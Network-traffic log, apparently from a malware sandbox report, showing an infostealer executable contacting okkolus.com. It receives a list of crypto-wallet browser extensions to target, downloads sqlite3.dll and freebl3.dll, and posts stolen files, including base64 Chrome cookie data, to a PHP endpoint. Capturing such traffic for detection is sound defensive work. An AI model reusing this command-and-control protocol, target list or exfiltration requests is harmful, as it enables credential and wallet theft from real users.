May 6, 2024 02:52:39.695741892 CEST	1289	IN	Data Raw: 48 78 68 61 57 6c 6d 59 6d 35 69 5a 6d 39 69 63 47 31 6c 5a 57 74 70 63 47 68 6c 5a 57 6c 71 61 57 31 6b 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a Data Ascii: HxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWth
May 6, 2024 02:52:39.877302885 CEST	1289	IN	Data Raw: 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 64 68 62 47 78 6c 64 48 78 6b 61 32 52 6c 5a 47 78 77 Data Ascii: V0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwf
May 6, 2024 02:52:39.920216084 CEST	1289	IN	Data Raw: 6a 61 6d 56 77 62 6d 68 70 59 6d 78 68 61 57 4a 6a 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 Data Ascii: jamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2
May 6, 2024 02:52:39.920231104 CEST	452	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49709	31.41.44.147	80	6784	C:\Users\user\Desktop\FFAk2gixx5.exe

Timestamp	Bytes transferred	Direction	Data
May 6, 2024 02:52:40.235045910 CEST	199	OUT	POST /cf5cbdf706840b3f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCGHDGIEGCBFIEGCB Host: okkolus.com Content-Length: 6247 Connection: Keep-Alive Cache-Control: no-cache
May 6, 2024 02:52:40.235097885 CEST	6247	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 66 33 38 61 Data Ascii: ------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="token"9bf38aa4757377d41cb4b7ab79be9128f3300e8c6c3c10c894eaf2a9d1d275a40e443fa5------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
May 6, 2024 02:52:40.594436884 CEST	166	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 00:52:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49710	31.41.44.147	80	6784	C:\Users\user\Desktop\FFAk2gixx5.exe

Timestamp	Bytes transferred	Direction	Data
May 6, 2024 02:52:43.863915920 CEST	90	OUT	GET /dfaf16606234b71d/sqlite3.dll HTTP/1.1 Host: okkolus.com Cache-Control: no-cache
May 6, 2024 02:52:44.221414089 CEST	1289	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 00:52:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 18:30:30 GMT ETag: "10e436-5e7f2463c1d80" Accept-Ranges: bytes Content-Length: 1106998 Connection: close Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70#N [TRUNCATED]
May 6, 2024 02:52:44.221450090 CEST	1289	IN	Data Raw: 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 50 03 00 00 00 20 0f 00 00 04 00 00 00 8e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 00 00 Data Ascii: /81s:<R@B/92P @B
May 6, 2024 02:52:44.309515953 CEST	1289	IN	Data Raw: 2b e9 0a 00 8d 43 ff 89 7c 24 08 89 5c 24 04 89 34 24 83 f8 01 77 8c e8 23 fd ff ff 83 ec 0c 85 c0 74 bf 89 7c 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 ea Data Ascii: +C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$
May 6, 2024 02:52:44.309644938 CEST	1289	IN	Data Raw: c0 89 e5 8b 55 08 85 d2 74 03 8b 42 10 5d c3 55 31 c0 89 e5 8b 55 08 85 d2 74 11 8b 4a 10 85 c9 74 0a 8b 42 04 c6 04 08 00 8b 42 04 5d c3 8b 10 8d 4a 01 89 08 0f b6 12 81 fa bf 00 00 00 76 59 55 0f b6 92 40 9e ec 61 89 e5 53 8b 18 8a 0b 83 e1 c0 Data Ascii: UtB]U1UtJtBB]JvYU@aSuK?v"%=t=D[]USI1t9sAvuA@[] gatU$1Ut
May 6, 2024 02:52:44.361118078 CEST	1289	IN	Data Raw: 09 cb 89 1a e9 4c 01 00 00 0f b6 70 02 0f b6 db c1 e3 0e 09 f3 f6 c3 80 75 1e 83 e1 7f 81 e3 7f c0 1f 00 c7 42 04 00 00 00 00 c1 e1 07 b0 03 09 cb 89 1a e9 1d 01 00 00 0f b6 70 03 0f b6 c9 81 e3 7f c0 1f 00 c1 e1 0e 09 f1 f6 c1 80 75 1b c1 e3 07 Data Ascii: LpuBpuBxMMuMZ2Mx]uZxu
May 6, 2024 02:52:44.361227989 CEST	1289	IN	Data Raw: 43 1c 89 04 24 e8 33 f5 ff ff 39 73 04 7c 0f 7f 04 39 3b 72 09 89 73 04 89 3b 31 f6 eb 05 be 0b 00 00 00 8b 43 1c 89 04 24 e8 37 f5 ff ff 83 c4 1c 89 f0 5b 5e 5f 5d c3 55 89 e5 53 83 ec 14 8b 45 08 8b 58 04 8b 43 1c 89 04 24 e8 ed f4 ff ff 8b 03 Data Ascii: C$39s\|9;rs;1C$7[^_]USEXC$MSCQ$1[]U1WVS}U9Wt_C$}~%C$uSE{,uBC,1u~C, {,uC(~C,K(E
May 6, 2024 02:52:44.446191072 CEST	1289	IN	Data Raw: 18 39 58 18 73 15 89 41 10 8b 58 10 85 db 74 06 89 c1 89 d8 eb e8 89 50 10 eb 13 89 51 10 8b 5a 10 85 db 74 06 89 d1 89 da eb d3 89 42 10 8b 45 e4 83 c4 30 5b 5d c3 55 89 e5 56 53 89 c6 83 ec 10 e8 30 fe ff ff 89 c3 8b 06 31 d2 85 c0 74 06 42 8b Data Ascii: 9XsAXtPQZtBE0[]UVS01tB@ td\$\$$T$[^]HPUJHQP@J,]UE]@0U1WVMSEu]y4A89tBV1A8;Y$^V0
May 6, 2024 02:52:44.446211100 CEST	1289	IN	Data Raw: 74 4c 8d 55 e0 c7 45 e0 00 00 00 00 c7 45 e4 00 00 00 00 e8 18 e9 ff ff 85 c0 75 4b 8b b3 a8 00 00 00 8b bb ac 00 00 00 89 f0 03 45 e0 89 fa 13 55 e4 89 74 24 08 89 7c 24 0c 83 c0 ff 83 d2 ff 89 04 24 89 54 24 04 e8 b2 d8 0a 00 eb 04 31 c0 eb 0e Data Ascii: tLUEEuKEUt$\|$$T$1;vM1<[^_]Uxxuty+tP@]US@@<$C[]UE]fa1UWVSSxMtDp;FPtF@u1^Lt(;;
May 6, 2024 02:52:44.446225882 CEST	1289	IN	Data Raw: 89 e5 57 56 8b 7d 08 53 0f b6 4f 0a 03 4d 0c 0f b6 01 83 f8 7f 76 1b 8d 71 08 83 e0 7f 41 8a 19 c1 e0 07 89 da 83 e2 7f 09 d0 39 ce 76 04 84 db 78 eb 0f b7 77 0e 41 39 f0 77 12 2b 4d 0c ba 04 00 00 00 01 c8 83 f8 03 0f 46 c2 eb 24 8b 57 34 0f b7 Data Ascii: WV}SOMvqA9vxwA9w+MF$W4_z(1)9B+MD[^_]UUBJ@xy9w)]UWVSQ]Uv{FEE9vx~NyC~Ny:~Ny1~Ny(~Ny
May 6, 2024 02:52:44.446239948 CEST	1289	IN	Data Raw: 0b 0f 87 07 01 00 00 ff 24 95 54 70 eb 61 66 c7 41 10 01 04 c7 41 0c 00 00 00 00 c7 01 00 00 00 00 e9 02 01 00 00 66 c7 41 10 01 00 e9 f7 00 00 00 0f be 00 eb 0c 0f be 00 0f b6 57 01 c1 e0 08 09 d0 89 01 99 89 51 04 66 c7 41 10 04 00 e9 d5 00 00 Data Ascii: $TpafAAfAWQfAfW@GW7W@11E}EUQwu
May 6, 2024 02:52:44.483799934 CEST	1289	IN	Data Raw: 89 e5 8b 45 0c 80 38 a8 75 09 8b 55 08 8b 52 18 00 50 02 31 c0 5d c3 55 0f bf 50 20 8b 40 2c 89 e5 f6 40 1c 60 74 36 89 d1 c1 e1 04 03 48 04 f6 41 0e 60 74 28 66 8b 48 22 83 c8 ff 89 c2 66 83 f9 3f 7f 35 31 c0 31 d2 f6 c1 20 0f 94 c0 0f 95 c2 d3 Data Ascii: E8uURP1]UP @,@`t6HA`t(fH"f?511 ??N11 ]Ut@ t@]Ut P tt@@@]UuHuBuB@]UH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49711	31.41.44.147	80	6784	C:\Users\user\Desktop\FFAk2gixx5.exe

Timestamp	Bytes transferred	Direction	Data
May 6, 2024 02:52:48.938824892 CEST	949	OUT	POST /cf5cbdf706840b3f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAAFCAFCBKFHJJJKKFH Host: okkolus.com Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 66 33 38 61 61 34 37 35 37 33 37 37 64 34 31 63 62 34 62 37 61 62 37 39 62 65 39 31 32 38 66 33 33 30 30 65 38 63 36 63 33 63 31 30 63 38 39 34 65 61 66 32 61 39 64 31 64 32 37 35 61 34 30 65 34 34 33 66 61 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="token"9bf38aa4757377d41cb4b7ab79be9128f3300e8c6c3c10c894eaf2a9d1d275a40e443fa5------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------EBAAFCAFCBKFHJJJKKFH--
May 6, 2024 02:52:49.305387020 CEST	166	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 00:52:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49712	31.41.44.147	80	6784	C:\Users\user\Desktop\FFAk2gixx5.exe

Timestamp	Bytes transferred	Direction	Data
May 6, 2024 02:52:49.664001942 CEST	557	OUT	POST /cf5cbdf706840b3f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGDGHCBGDHJJKECAECBA Host: okkolus.com Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 66 33 38 61 61 34 37 35 37 33 37 37 64 34 31 63 62 34 62 37 61 62 37 39 62 65 39 31 32 38 66 33 33 30 30 65 38 63 36 63 33 63 31 30 63 38 39 34 65 61 66 32 61 39 64 31 64 32 37 35 61 34 30 65 34 34 33 66 61 35 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 48 43 42 47 44 48 4a 4a 4b 45 43 41 45 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 [TRUNCATED] Data Ascii: ------CGDGHCBGDHJJKECAECBAContent-Disposition: form-data; name="token"9bf38aa4757377d41cb4b7ab79be9128f3300e8c6c3c10c894eaf2a9d1d275a40e443fa5------CGDGHCBGDHJJKECAECBAContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------CGDGHCBGDHJJKECAECBAContent-Disposition: form-data; name="file"------CGDGHCBGDHJJKECAECBA--
May 6, 2024 02:52:50.015741110 CEST	166	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 00:52:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49713	31.41.44.147	80	6784	C:\Users\user\Desktop\FFAk2gixx5.exe

Timestamp	Bytes transferred	Direction	Data
May 6, 2024 02:52:50.818631887 CEST	557	OUT	POST /cf5cbdf706840b3f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECBGCFHCFIDHIDHDGDG Host: okkolus.com Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 66 33 38 61 61 34 37 35 37 33 37 37 64 34 31 63 62 34 62 37 61 62 37 39 62 65 39 31 32 38 66 33 33 30 30 65 38 63 36 63 33 63 31 30 63 38 39 34 65 61 66 32 61 39 64 31 64 32 37 35 61 34 30 65 34 34 33 66 61 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 42 47 43 46 48 43 46 49 44 48 49 44 48 44 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 [TRUNCATED] Data Ascii: ------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="token"9bf38aa4757377d41cb4b7ab79be9128f3300e8c6c3c10c894eaf2a9d1d275a40e443fa5------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------JECBGCFHCFIDHIDHDGDGContent-Disposition: form-data; name="file"------JECBGCFHCFIDHIDHDGDG--
May 6, 2024 02:52:51.165544033 CEST	166	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 00:52:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49714	31.41.44.147	80	6784	C:\Users\user\Desktop\FFAk2gixx5.exe

Timestamp	Bytes transferred	Direction	Data
May 6, 2024 02:52:51.784328938 CEST	90	OUT	GET /dfaf16606234b71d/freebl3.dll HTTP/1.1 Host: okkolus.com Cache-Control: no-cache
May 6, 2024 02:52:52.140475035 CEST	1289	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 00:52:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:49:08 GMT ETag: "a7550-5e7ef2e90e100" Accept-Ranges: bytes Content-Length: 685392 Connection: close Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B [TRUNCATED]
May 6, 2024 02:52:52.140535116 CEST	1289	IN	Data Raw: 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b 08 00 83 c4 04 31 c0 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 57 56 8b 45 08 85 c0 74 1e Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt
May 6, 2024 02:52:52.140680075 CEST	1289	IN	Data Raw: 00 68 04 e0 ff ff e9 b2 02 00 00 83 7c 24 2c 00 0f 84 a2 02 00 00 83 7d 0c 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f Data Ascii: h\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$
May 6, 2024 02:52:52.140696049 CEST	1289	IN	Data Raw: 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d e5 c1 e0 10 c1 e1 08 09 c1 0f b6 45 e6 09 c8 c1 e0 08 89 d9 0f b6 5d e7 09 d8 89 4d Data Ascii: o9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)}\|7!!)
May 6, 2024 02:52:52.141066074 CEST	1289	IN	Data Raw: 37 fb 07 00 89 d8 83 c4 4c 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 68 0c 01 00 00 e8 bf fc 07 00 83 c4 04 31 f6 85 c0 74 6c 89 c7 8b 45 08 c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 85 c0 Data Ascii: 7L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G^_[]USWVUM]u>F9t:NVFMUtHHjWh
May 6, 2024 02:52:52.141237974 CEST	1289	IN	Data Raw: 4d f0 31 e9 e8 29 f6 07 00 89 f0 81 c4 04 01 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 08 01 00 00 a1 b4 30 0a 10 31 e8 89 45 f0 68 02 01 00 00 e8 9f f7 07 00 83 c4 04 31 ff 85 c0 0f 84 fc 00 00 00 89 c6 8b Data Ascii: M1)^_[]USWV01Eh1E=s hkhVohh !Vf.@uVuW)9wSuW
May 6, 2024 02:52:52.141820908 CEST	1289	IN	Data Raw: 04 83 c3 04 8b 55 e0 39 d1 0f 86 c9 01 00 00 29 d1 0f 84 de 01 00 00 89 5d dc 89 7d e4 89 c8 31 c9 ba 00 00 00 00 c7 45 e0 00 00 00 00 89 45 d4 83 f8 08 0f 82 fc 02 00 00 8b 4d d4 83 e1 f8 8d 41 f8 89 c2 c1 ea 03 83 c2 01 85 c0 89 4d c8 0f 84 ef Data Ascii: U9)]}1EEMAMfo 1ff}]fn4ff`fafofrfo f[fpffpffof% fpfpfbfnlff`fafffrf
May 6, 2024 02:52:52.141836882 CEST	1289	IN	Data Raw: 80 c3 01 0f b6 fb 8b 45 f0 8a 14 38 00 d6 88 75 e8 0f b6 f6 8a 34 30 88 34 38 88 14 30 00 d6 0f b6 f6 8a 75 e8 8b 7d e4 8a 54 0f ff 32 14 30 8b 45 dc 88 54 08 ff 8b 45 d8 01 c8 83 c0 01 83 c1 01 83 f8 01 75 ba 8b 45 f0 88 98 00 01 00 00 88 b0 01 Data Ascii: E8u40480u}T20ETEuE14^_[]UM1]U}f.MMuEMMU2}E0MEEMLEE0}
May 6, 2024 02:52:52.228225946 CEST	1289	IN	Data Raw: f8 8b 7b 2c 89 bd 00 ff ff ff 8b 5d f0 11 fb 8b bd 48 ff ff ff 01 f8 89 45 b8 11 cb 89 5d f0 31 da 31 c6 89 f0 0f a4 d0 10 89 45 a8 0f ac d6 10 89 75 88 8b 55 ec 01 f2 89 55 ec 8b 75 e0 11 c6 89 75 e0 31 f1 89 f8 31 d0 89 ca 0f a4 c2 01 89 55 ac Data Ascii: {,]HE]11EuUUuu11UHtF00Qv4,AA8UA<}5[dy!~6_U:O31\
